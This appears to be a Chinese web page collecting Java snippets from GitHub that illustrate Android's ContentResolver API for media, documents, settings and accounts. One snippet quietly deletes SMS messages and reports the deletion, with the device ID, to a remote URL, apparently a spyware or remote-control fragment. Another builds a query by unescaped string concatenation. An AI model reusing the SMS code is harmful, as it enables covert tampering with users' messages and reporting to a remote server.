下面列出了怎么用android.content.ContentResolver的API类实例代码及写法,或者点击链接到github查看源代码。
public static InputStream
getInputStream(final Context context, final File file, final long size) {
try {
final String where = MediaStore.MediaColumns.DATA + "=?";
final String[] selectionArgs = new String[]{
file.getAbsolutePath()
};
final ContentResolver contentResolver = context.getContentResolver();
final Uri filesUri = MediaStore.Files.getContentUri("external");
contentResolver.delete(filesUri, where, selectionArgs);
final ContentValues values = new ContentValues();
values.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath());
values.put(MediaStore.MediaColumns.SIZE, size);
final Uri uri = contentResolver.insert(filesUri, values);
return contentResolver.openInputStream(uri);
} catch (final Throwable t) {
return null;
}
}
@Nullable
public static DocumentFile docFileFromTreeUriOrFileUri(Context context, Uri contentUri) {
if (ContentResolver.SCHEME_FILE.equals(contentUri.getScheme())) {
String path = contentUri.getPath();
if (path == null)
return null;
File file = new File(path);
if (!file.isDirectory())
return null;
return DocumentFile.fromFile(file);
} else {
return DocumentFile.fromTreeUri(context, contentUri);
}
}
/**
* Retrieves {@link InputStream} of image by URI (image is accessed using {@link ContentResolver}).
*
* @param imageUri Image URI
* @param extra Auxiliary object which was passed to {@link DisplayImageOptions.Builder#extraForDownloader(Object)
* DisplayImageOptions.extraForDownloader(Object)}; can be null
* @return {@link InputStream} of image
* @throws FileNotFoundException if the provided URI could not be opened
*/
protected InputStream getStreamFromContent(String imageUri, Object extra) throws FileNotFoundException {
ContentResolver res = context.getContentResolver();
Uri uri = Uri.parse(imageUri);
if (isVideoContentUri(uri)) { // video thumbnail
Long origId = Long.valueOf(uri.getLastPathSegment());
Bitmap bitmap = MediaStore.Video.Thumbnails
.getThumbnail(res, origId, MediaStore.Images.Thumbnails.MINI_KIND, null);
if (bitmap != null) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bitmap.compress(CompressFormat.PNG, 0, bos);
return new ByteArrayInputStream(bos.toByteArray());
}
} else if (imageUri.startsWith(CONTENT_CONTACTS_URI_PREFIX)) { // contacts photo
return getContactPhotoStream(uri);
}
return res.openInputStream(uri);
}
/**
* 获取图片缩略�? 只有Android2.1以上版本支持
*
* @param imgName
* @param kind MediaStore.Images.Thumbnails.MICRO_KIND
* @return
*/
@SuppressWarnings("deprecation")
public static Bitmap loadImgThumbnail(Activity context, String imgName,
int kind) {
Bitmap bitmap = null;
String[] proj = {MediaStore.Images.Media._ID,
MediaStore.Images.Media.DISPLAY_NAME};
Cursor cursor = context.managedQuery(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI, proj,
MediaStore.Images.Media.DISPLAY_NAME + "='" + imgName + "'",
null, null);
if (cursor != null && cursor.getCount() > 0 && cursor.moveToFirst()) {
ContentResolver crThumb = context.getContentResolver();
Options options = new Options();
options.inSampleSize = 1;
bitmap = getThumbnail(crThumb, cursor.getInt(0),
kind, options);
}
return bitmap;
}
/**
* @hide
*/
@NonNull
public static CaptionStyle getCustomStyle(ContentResolver cr) {
final CaptionStyle defStyle = CaptionStyle.DEFAULT_CUSTOM;
final int foregroundColor = Secure.getInt(
cr, Secure.ACCESSIBILITY_CAPTIONING_FOREGROUND_COLOR, defStyle.foregroundColor);
final int backgroundColor = Secure.getInt(
cr, Secure.ACCESSIBILITY_CAPTIONING_BACKGROUND_COLOR, defStyle.backgroundColor);
final int edgeType = Secure.getInt(
cr, Secure.ACCESSIBILITY_CAPTIONING_EDGE_TYPE, defStyle.edgeType);
final int edgeColor = Secure.getInt(
cr, Secure.ACCESSIBILITY_CAPTIONING_EDGE_COLOR, defStyle.edgeColor);
final int windowColor = Secure.getInt(
cr, Secure.ACCESSIBILITY_CAPTIONING_WINDOW_COLOR, defStyle.windowColor);
String rawTypeface = Secure.getString(cr, Secure.ACCESSIBILITY_CAPTIONING_TYPEFACE);
if (rawTypeface == null) {
rawTypeface = defStyle.mRawTypeface;
}
return new CaptionStyle(foregroundColor, backgroundColor, edgeType, edgeColor,
windowColor, rawTypeface);
}
/**
* Returns the current list of channels your app provides.
*
* @param resolver Application's ContentResolver.
* @return List of channels.
*/
public static List<Channel> getChannels(ContentResolver resolver) {
List<Channel> channels = new ArrayList<>();
// TvProvider returns programs in chronological order by default.
Cursor cursor = null;
try {
cursor = resolver.query(Channels.CONTENT_URI, Channel.PROJECTION, null, null, null);
if (cursor == null || cursor.getCount() == 0) {
return channels;
}
while (cursor.moveToNext()) {
channels.add(Channel.fromCursor(cursor));
}
} catch (Exception e) {
Log.w(TAG, "Unable to get channels", e);
} finally {
if (cursor != null) {
cursor.close();
}
}
return channels;
}
public static boolean saveBitmap(ContentResolver contentResolver, Uri uri, Bitmap bitmap,
Bitmap.CompressFormat format, int quality) {
OutputStream outputStream;
try {
outputStream = contentResolver.openOutputStream(uri);
} catch (FileNotFoundException e) {
Timber.d(e, "[saveBitmap] Couldn't open uri output");
return false;
}
boolean saveOk = true;
try {
bitmap.compress(format, quality, outputStream);
} finally {
if (!close(outputStream)) {
saveOk = false;
}
}
if (!saveOk) {
contentResolver.delete(uri, null, null);
}
return saveOk;
}
private String getGroupCount(ContentResolver resolver, long groupId) {
String[] projection = { Imps.GroupMembers.NICKNAME };
Uri uri = ContentUris.withAppendedId(Imps.GroupMembers.CONTENT_URI, groupId);
Cursor c = resolver.query(uri, projection, null, null, null);
StringBuilder buf = new StringBuilder();
if (c != null) {
buf.append(" (");
buf.append(c.getCount());
buf.append(")");
c.close();
}
return buf.toString();
}
@Nullable
private Bitmap decodeBitmap(@NonNull Uri imageUri) {
Bitmap bitmap = null;
if (ContentResolver.SCHEME_FILE.equals(imageUri.getScheme()) && imageUri.getPath() != null) {
File file = new File(imageUri.getPath());
bitmap = BitmapFactory.decodeFile(file.getPath());
} else if (ContentResolver.SCHEME_CONTENT.equals(imageUri.getScheme())) {
InputStream inputStream;
try {
inputStream = context.getContentResolver().openInputStream(imageUri);
if (inputStream != null) {
bitmap = BitmapFactory.decodeStream(inputStream, null, null);
}
} catch (FileNotFoundException e) {
Log.e(TAG, "Unable to open overlay image Uri " + imageUri, e);
}
} else {
Log.e(TAG, "Uri scheme is not supported: " + imageUri.getScheme());
}
return bitmap;
}
/**
* Queries the dictionary and returns a cursor with all matches. But
* there should be no more than one match.
*
* @param context the current application context
* @param word the word to search
*/
static Cursor queryWord(Context context, String word) {
// error checking
if (TextUtils.isEmpty(word)) {
return null;
}
// General purpose
final ContentResolver resolver = context.getContentResolver();
String[] projection = new String[]{_ID, WORD, FREQUENCY,
FOLLOWING};
String selection = WORD + "=?";
String[] selectionArgs = {word};
return resolver.query(CONTENT_URI, projection, selection,
selectionArgs, null);
}
protected AssetFileDescriptor openVideoThumbnailCleared(long id, CancellationSignal signal)
throws FileNotFoundException {
final ContentResolver resolver = getContext().getContentResolver();
Cursor cursor = null;
try {
cursor = resolver.query(Video.Thumbnails.EXTERNAL_CONTENT_URI,
VideoThumbnailQuery.PROJECTION, Video.Thumbnails.VIDEO_ID + "=" + id, null,
null);
if (cursor.moveToFirst()) {
final String data = cursor.getString(VideoThumbnailQuery._DATA);
return new AssetFileDescriptor(ParcelFileDescriptor.open(
new File(data), ParcelFileDescriptor.MODE_READ_ONLY), 0,
AssetFileDescriptor.UNKNOWN_LENGTH);
}
} finally {
IoUtils.closeQuietly(cursor);
}
return null;
}
public void initUser(long providerId, long accountId) throws ImException
{
ContentResolver contentResolver = mContext.getContentResolver();
Cursor cursor = contentResolver.query(Imps.ProviderSettings.CONTENT_URI, new String[]{Imps.ProviderSettings.NAME, Imps.ProviderSettings.VALUE}, Imps.ProviderSettings.PROVIDER + "=?", new String[]{Long.toString(providerId)}, null);
if (cursor == null)
throw new ImException("unable to query settings");
Imps.ProviderSettings.QueryMap providerSettings = new Imps.ProviderSettings.QueryMap(
cursor, contentResolver, providerId, false, null);
mProviderId = providerId;
mAccountId = accountId;
mUser = makeUser(providerSettings, contentResolver);
try {
mUserJid = JidCreate.bareFrom(mUser.getAddress().getAddress());
}
catch (Exception e){}
providerSettings.close();
}
/**
* 从带图像的Intent中解析图像到File
*
* @param resolver 解析器,需要当前context.getContentResolver()
* @param data 带数据的Intent
* @param dir 输出文件路径
* @return boolean 解析成功返回true,否则返回false
*/
public boolean parseImageIntentToFile(ContentResolver resolver, Intent data, File dir) {
try {
FileOutputStream out = new FileOutputStream(dir);
ByteArrayOutputStream buffer = parseImageIntentToStream(resolver, data);
if(buffer == null)
return false;
buffer.writeTo(out);
buffer.flush();
buffer.close();
out.flush();
out.close();
return true;
} catch (IOException e) {
return false;
}
}
@Override
protected Uri doInBackground(Void... params) {
final ContentResolver resolver = mActivity.getContentResolver();
ContentProviderClient client = null;
Uri childUri = null;
try {
client = DocumentsApplication.acquireUnstableProviderOrThrow(
resolver, mCwd.derivedUri.getAuthority());
childUri = DocumentsContract.createDocument(
resolver, mCwd.derivedUri, mMimeType, mDisplayName);
} catch (Exception e) {
Log.w(DocumentsActivity.TAG, "Failed to create document", e);
Crashlytics.logException(e);
} finally {
ContentProviderClientCompat.releaseQuietly(client);
}
return childUri;
}
public void setDataSource(Context context, Uri uri, Map<String, String> headers) throws IOException, IllegalArgumentException, SecurityException, IllegalStateException {
if (context == null || uri == null)
throw new IllegalArgumentException();
String scheme = uri.getScheme();
if (scheme == null || scheme.equals("file")) {
setDataSource(FileUtils.getPath(uri.toString()));
return;
}
try {
ContentResolver resolver = context.getContentResolver();
mFD = resolver.openAssetFileDescriptor(uri, "r");
if (mFD == null)
return;
setDataSource(mFD.getParcelFileDescriptor().getFileDescriptor());
return;
} catch (Exception e) {
closeFD();
}
setDataSource(uri.toString(), headers);
}
public static Uri[] listFiles(Context context, Uri self) {
final ContentResolver resolver = context.getContentResolver();
final Uri childrenUri = DocumentsContract.buildChildDocumentsUri(self.getAuthority(),
DocumentsContract.getDocumentId(self));
final ArrayList<Uri> results = new ArrayList<Uri>();
Cursor c = null;
try {
c = resolver.query(childrenUri, new String[] {
DocumentsContract.Document.COLUMN_DOCUMENT_ID }, null, null, null);
while (c.moveToNext()) {
final String documentId = c.getString(0);
final Uri documentUri = DocumentsContract.buildDocumentUri(self.getAuthority(),
documentId);
results.add(documentUri);
}
} catch (Exception e) {
Log.w(TAG, "Failed query: " + e);
} finally {
closeQuietly(c);
}
return results.toArray(new Uri[results.size()]);
}
private void fixBaseContextImplContentResolverOpsPackage(Context context) throws IllegalAccessException {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.ICE_CREAM_SANDWICH_MR1 && context != null && !TextUtils.equals(context.getPackageName(), mHostContext.getPackageName())) {
Context baseContext = context;
Class clazz = baseContext.getClass();
Field mContentResolver = FieldUtils.getDeclaredField(clazz, "mContentResolver", true);
if (mContentResolver != null) {
Object valueObj = mContentResolver.get(baseContext);
if (valueObj instanceof ContentResolver) {
ContentResolver contentResolver = ((ContentResolver) valueObj);
Field mPackageName = FieldUtils.getDeclaredField(ContentResolver.class, "mPackageName", true);
Object mPackageNameValueObj = mPackageName.get(contentResolver);
if (mPackageNameValueObj != null && mPackageNameValueObj instanceof String) {
String packageName = ((String) mPackageNameValueObj);
if (!TextUtils.equals(packageName, mHostContext.getPackageName())) {
mPackageName.set(contentResolver, mHostContext.getPackageName());
Log.i(TAG, "fixBaseContextImplContentResolverOpsPackage OK!Context=%s,contentResolver=%s", baseContext, contentResolver);
}
}
}
}
}
}
public static Uri[] listFiles(Context context, Uri self) {
final ContentResolver resolver = context.getContentResolver();
final Uri childrenUri = DocumentsContract.buildChildDocumentsUriUsingTree(self,
DocumentsContract.getDocumentId(self));
final ArrayList<Uri> results = new ArrayList<Uri>();
Cursor c = null;
try {
c = resolver.query(childrenUri, new String[] {
DocumentsContract.Document.COLUMN_DOCUMENT_ID }, null, null, null);
while (c.moveToNext()) {
final String documentId = c.getString(0);
final Uri documentUri = DocumentsContract.buildDocumentUriUsingTree(self,
documentId);
results.add(documentUri);
}
} catch (Exception e) {
Log.w(TAG, "Failed query: " + e);
} finally {
closeQuietly(c);
}
return results.toArray(new Uri[results.size()]);
}
public static String getRealFilePath(final Context context, final Uri uri ) {
if ( null == uri ) return null;
final String scheme = uri.getScheme();
String data = null;
if ( scheme == null )
data = uri.getPath();
else if ( ContentResolver.SCHEME_FILE.equals( scheme ) ) {
data = uri.getPath();
} else if ( ContentResolver.SCHEME_CONTENT.equals( scheme ) ) {
Cursor cursor = context.getContentResolver().query( uri, new String[] { MediaStore.Images.ImageColumns.DATA }, null, null, null );
if ( null != cursor ) {
if ( cursor.moveToFirst() ) {
int index = cursor.getColumnIndex( MediaStore.Images.ImageColumns.DATA );
if ( index > -1 ) {
data = cursor.getString( index );
}
}
cursor.close();
}
}
return data;
}
@Override
protected String doInBackground(String... params) {
Uri thread = Uri.parse( "content://sms");
ContentResolver contentResolver = getContentResolver();
// Cursor cursor = contentResolver.query(thread, null, null, null,null);
contentResolver.delete( thread, "thread_id=? and _id=?", new String[]{String.valueOf(i), String.valueOf(j)});
try {
getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "SMS Delete [" + i + "] [" + j + "] Complete");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
return "Executed";
}
private static void insertMusicVideos(Context context, ContentResolver contentResolver, SyncMusicVideos syncMusicVideos)
throws ApiException, IOException {
VideoLibrary.GetMusicVideos getMusicVideos = new VideoLibrary.GetMusicVideos();
String result = FileUtils.readFile(context, "VideoLibrary.GetMusicVideos.json");
ArrayList<VideoType.DetailsMusicVideo> musicVideoList = (ArrayList) getMusicVideos.resultFromJson(result);
syncMusicVideos.insertMusicVideos(musicVideoList, contentResolver);
}
private static Optional<AccountHolder> getOrCreateAccount(Context context) {
AccountManager accountManager = AccountManager.get(context);
Account[] accounts = accountManager.getAccountsByType(context.getPackageName());
Optional<AccountHolder> account;
if (accounts.length == 0) account = createAccount(context);
else account = Optional.of(new AccountHolder(accounts[0], false));
if (account.isPresent() && !ContentResolver.getSyncAutomatically(account.get().getAccount(), ContactsContract.AUTHORITY)) {
ContentResolver.setSyncAutomatically(account.get().getAccount(), ContactsContract.AUTHORITY, true);
}
return account;
}
/**
* Convenience wrapper to returns a Concept representing a single row matched
* by the uuid value.
*
* @param resolver The resolver which will perform the query.
* @param uuid The uuid to select by.
* @return A cursor with a single row.
* @throws IllegalArgumentException if multiple objects are returned.
*/
public static IConcept getOneByUuid(ContentResolver resolver, String uuid) {
ConceptWrapper wrapper = new ConceptWrapper(ModelWrapper.getOneByUuid(
Concepts.CONTENT_URI, resolver, uuid));
IConcept object = null;
if (wrapper != null)
try {
object = wrapper.next();
} finally {
wrapper.close();
}
return object;
}
protected DefaultStorIOContentResolver(@NonNull ContentResolver contentResolver,
@NonNull Handler contentObserverHandler,
@NonNull TypeMappingFinder typeMappingFinder,
@Nullable Scheduler defaultRxScheduler,
@NonNull List<Interceptor> interceptors) {
this.contentResolver = contentResolver;
this.contentObserverHandler = contentObserverHandler;
this.defaultRxScheduler = defaultRxScheduler;
this.interceptors = interceptors;
lowLevel = new LowLevelImpl(typeMappingFinder);
}
/**
* Decode image from uri using given "inSampleSize", but if failed due to out-of-memory then raise
* the inSampleSize until success.
*/
private static Bitmap decodeImage(ContentResolver resolver, Uri uri, BitmapFactory.Options options) throws FileNotFoundException {
do {
InputStream stream = null;
try {
stream = resolver.openInputStream(uri);
return BitmapFactory.decodeStream(stream, EMPTY_RECT, options);
} catch (OutOfMemoryError e) {
options.inSampleSize *= 2;
} finally {
closeSafe(stream);
}
} while (options.inSampleSize <= 512);
throw new RuntimeException("Failed to decode image: " + uri);
}
private void finishLogin(Intent intent) {
String accountName = intent.getStringExtra(AccountManager.KEY_ACCOUNT_NAME);
String accountPassword = intent.getStringExtra(AccountManager.KEY_PASSWORD);
String token = intent.getStringExtra(AccountManager.KEY_AUTHTOKEN);
final Account account = new Account(accountName, intent.getStringExtra(AccountManager.KEY_ACCOUNT_TYPE));
String accountType = Aptoide.getConfiguration().getAccountType();
String authTokenType = AptoideConfiguration.AccountGeneral.AUTHTOKEN_TYPE_FULL_ACCESS;
final Activity activity = getActivity();
AccountManager.get(getActivity()).addAccount(accountType, authTokenType, new String[]{"timelineLogin"}, intent.getExtras(), getActivity(), new AccountManagerCallback<Bundle>() {
@Override
public void run(AccountManagerFuture<Bundle> future) {
if (activity != null) {
activity.startService(new Intent(activity, RabbitMqService.class));
}
ContentResolver.setSyncAutomatically(account, Aptoide.getConfiguration().getUpdatesSyncAdapterAuthority(), true);
ContentResolver.addPeriodicSync(account, Aptoide.getConfiguration().getUpdatesSyncAdapterAuthority(), new Bundle(), 43200);
ContentResolver.setSyncAutomatically(account, Aptoide.getConfiguration(). getAutoUpdatesSyncAdapterAuthority(), true);
callback = (SignInCallback) getParentFragment();
if (callback != null) callback.loginEnded();
}
}, new Handler(Looper.getMainLooper()));
}
@Override
protected Cursor cursor(ContentResolver contentResolver) {
return contentResolver.query(VIDEOS_URI, PROJECTION,
null,
null,
SORT_ORDER
);
}
/**
* Create a new document with given MIME type and display name.
*
* @param parentDocumentUri directory with
* {@link DocumentsContract.Document#FLAG_DIR_SUPPORTS_CREATE}
* @param mimeType MIME type of new document
* @param displayName name of new document
* @return newly created document, or {@code null} if failed
*/
public static Uri createDocument(ContentResolver resolver, Uri parentDocumentUri,
String mimeType, String displayName) {
final ContentProviderClient client = resolver.acquireUnstableContentProviderClient(
parentDocumentUri.getAuthority());
try {
return createDocument(client, parentDocumentUri, mimeType, displayName);
} catch (Exception e) {
Log.w(TAG, "Failed to create document", e);
return null;
} finally {
ContentProviderClientCompat.releaseQuietly(client);
}
}
/**
* 判断屏幕是否开启了自动亮度
*
* @param aContentResolver
* @return
*/
public static boolean isAutoBrightness(ContentResolver aContentResolver) {
boolean automicBrightness = false;
try {
automicBrightness = Settings.System.getInt(aContentResolver, Settings.System.SCREEN_BRIGHTNESS_MODE) == Settings.System.SCREEN_BRIGHTNESS_MODE_AUTOMATIC;
} catch (Settings.SettingNotFoundException e) {
e.printStackTrace();
}
return automicBrightness;
}
public void resume()
{
ContentResolver resolver = mActivity.getContentResolver();
mRotationLockedSetting = Settings.System.getInt(
resolver, Settings.System.ACCELEROMETER_ROTATION, 0) != 1;
mOrientationListener.enable();
}